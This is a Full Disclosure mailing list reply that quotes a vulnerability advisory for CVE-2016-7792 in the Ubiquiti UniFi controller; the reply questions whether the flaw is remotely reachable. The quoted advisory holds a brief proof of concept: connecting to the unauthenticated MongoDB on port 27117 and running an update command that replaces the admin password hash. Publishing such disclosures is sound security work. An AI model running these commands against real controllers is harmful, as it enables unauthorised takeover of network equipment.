Full Disclosure mailing list archives
Re: Critical Vulnerability in Ubiquiti UniFi
From: Carlos Silva <r3pek () r3pek org>
Date: Sat, 1 Oct 2016 14:30:53 +0100
Hi Tim! I can be missing something here but I just checked this on a fresh installed Unifi Controller and mongod is binding to localhost making this a non-issue. Or, you have to get a remote shell first before you can get a connection to the DB. Am I missing something? Thanks, Carlos Silva On Fri, Sep 30, 2016 at 10:49 AM, Tim Schughart < t.schughart () prosec-networks com> wrote:
Hello @all, together with my colleague we found two uncritical vulnerabilities you'll find below. Product: UniFi AP AC Lite Vendor: Ubiquiti Networks Inc. Internal reference: ? (Bug ID) Vulnerability type: Incorrect access control Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested) Vulnerable component: Database Report confidence: yes Solution status: Not fixed by Vendor, the bug is a feature. Fixed versions: - Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec Networks Solution date: - Public disclosure: 2016-09-30 CVE reference: CVE-2016-7792 CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Details: You are able to connect to the access points database, because of an broken authentication (OWASP TOP10). So you are able to modify the database and read the data. An possible scenario you'll find in PoC section. Risk: An attacker gets access to the database and for e.g. is able to change the admins password, like you see in PoC below. PoC: 1. Generate SHA512 Hash with e.g. mkpasswd -m sha-512 2. Connect via network to database, e.g. : mongo --port 27117 --host target_ip 3. Change password via command "db.admin.update({"name":"ProSec"}, {$set : {"x_shadow": "$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t. nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})" 4. Login via web interface with new password Best regards / Mit freundlichen Grüßen Tim Schughart CEO / Geschäftsführer -- ProSec Networks e.K. Ellingshohl 82 56077 Koblenz Website: https://www.prosec-networks.com E-Mail: t.schughart () prosec networks com Mobile: +49 (0)157 7901 5826 Phone: +49 (0)261 450 930 90 "This E-Mail communication may contain CONFIDENTIAL, PRIVILEGED and/or LEGALLY PROTECTED information and is intended only for the named recipient(s). Any unauthorized use, dissemination, copying or forwarding is strictly prohibited. If you are not the intended recipient and have received this email communication in error, please notify the sender immediately, delete it and destroy all copies of this E-Mail. VAT ID: DE290654714 legal domicile Koblenz, HRA 21625.“ "Diese E-Mail Mitteilung kann VERTRAULICHE, dem BERUFSGEHEIMNIS UNTERLIEGENDE und/oder RECHTLICH GESCHÜTZTE Informationen enthalten und ist ausschließlich für den/die genannten Adressaten bestimmt. Jede unbefugte Nutzung, Weitergabe, Vervielfältigung oder Versendung ist strengstens verboten. Sollten Sie nicht der angegebene Adressat sein und diese E-Mail Mitteilung irrtümlich erhalten haben, informieren Sie bitte sofort den Absender, löschen diese E-Mail und vernichten alle Kopien. USt-IdNr.: DE290654714, Amtsgericht Koblenz, HRA 21625." _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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Current thread:
- Re: Critical Vulnerability in Ubiquiti UniFi Gregory Sloop (Oct 03)
- <Possible follow-ups>
- Re: Critical Vulnerability in Ubiquiti UniFi Carlos Silva (Oct 03)
- Re: Critical Vulnerability in Ubiquiti UniFi Tim Schughart (Oct 03)
- Re: Critical Vulnerability in Ubiquiti UniFi Gregory Sloop (Oct 04)
- Re: Critical Vulnerability in Ubiquiti UniFi Rob Thomas (Oct 11)
- Re: Critical Vulnerability in Ubiquiti UniFi Carlos Silva (Oct 19)
- Re: Critical Vulnerability in Ubiquiti UniFi kvnjs (Oct 19)
- Re: Critical Vulnerability in Ubiquiti UniFi Tim Schughart (Oct 03)